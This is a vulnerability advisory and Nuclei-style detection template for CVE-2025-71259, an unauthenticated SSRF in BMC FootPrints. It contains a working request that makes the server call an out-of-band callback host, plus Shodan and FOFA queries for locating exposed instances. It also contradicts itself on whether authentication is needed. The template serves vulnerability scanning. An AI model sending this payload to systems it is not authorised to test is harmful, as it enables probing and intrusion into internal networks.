BMC FootPrints versions 20.20.02 through 20.24.01.001 contain a Server-Side Request Forgery (SSRF) vulnerability in the /footprints/servicedesk/externalfeed/RSS endpoint. The 'feedUrl' parameter allows unauthenticated attackers to force the server to make HTTP requests to arbitrary URLs, enabling access to internal services and bypassing firewall restrictions. This vulnerability is part of a pre-authenticated RCE chain when combined with CVE-2025-71257 (auth bypass) and CVE-2025-71260 (deserialization).
PoC
id: CVE-2025-71259
info:
name: BMC FootPrints 'feedUrl' - Server-Side Request Forgery
author: watchTowr,DhiyaneshDk
severity: high
description: |
BMC FootPrints versions 20.20.02 through 20.24.01.001 contain a Server-Side Request Forgery (SSRF) vulnerability in the /footprints/servicedesk/externalfeed/RSS endpoint. The 'feedUrl' parameter allows unauthenticated attackers to force the server to make HTTP requests to arbitrary URLs, enabling access to internal services and bypassing firewall restrictions. This vulnerability is part of a pre-authenticated RCE chain when combined with CVE-2025-71257 (auth bypass) and CVE-2025-71260 (deserialization).
impact: |
Authenticated attackers can make the server send arbitrary outbound requests, potentially interacting with internal services or causing denial of service.
remediation: |
Apply the hotfixes released by BMC on September 2, 2025 for all affected branches. Update to the latest patched version of BMC FootPrints.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
cve-id: CVE-2025-71259
epss-score: 0.12916
epss-percentile: 0.96105
cwe-id: CWE-918
metadata:
verified: true
max-request: 1
shodan-query: html:"/footprints/servicedesk/"
product: footprints
vendor: bmc
fofa-query: body="/footprints/servicedesk/"
reference:
- https://labs.watchtowr.com/thanks-itsms-threat-actors-have-never-been-so-organized-bmc-footprints-pre-auth-remote-code-execution-chains/
- https://docs.bmc.com/xwiki/bin/view/More-Products/Footprints/FootPrints/fp2024/
- https://nvd.nist.gov/vuln/detail/CVE-2025-71259
tags: cve,cve2025,servicedesk,bmc-software,ssrf,oast,oob,footprints,bmc
flow: http(1) && http(2)
http:
- raw:
- |
GET /footprints/servicedesk/passwordreset/request/ HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- contains(set_cookie, "SEC_TOKEN=")
internal: true
- raw:
- |
GET /footprints/servicedesk/externalfeed/RSS?feedUrl=http://{{interactsh-url}}&dataEncoding=x HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: interactsh_protocol
words:
- dns
# digest: 490a004630440220509a3d50010c4aceb1c8e15446caf4e634457e35c94a6d49cf74159c42b36eac02205b375300c6f050440e196bc3af815fe3865e8ebd033427c85428fcd51e3eb282:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.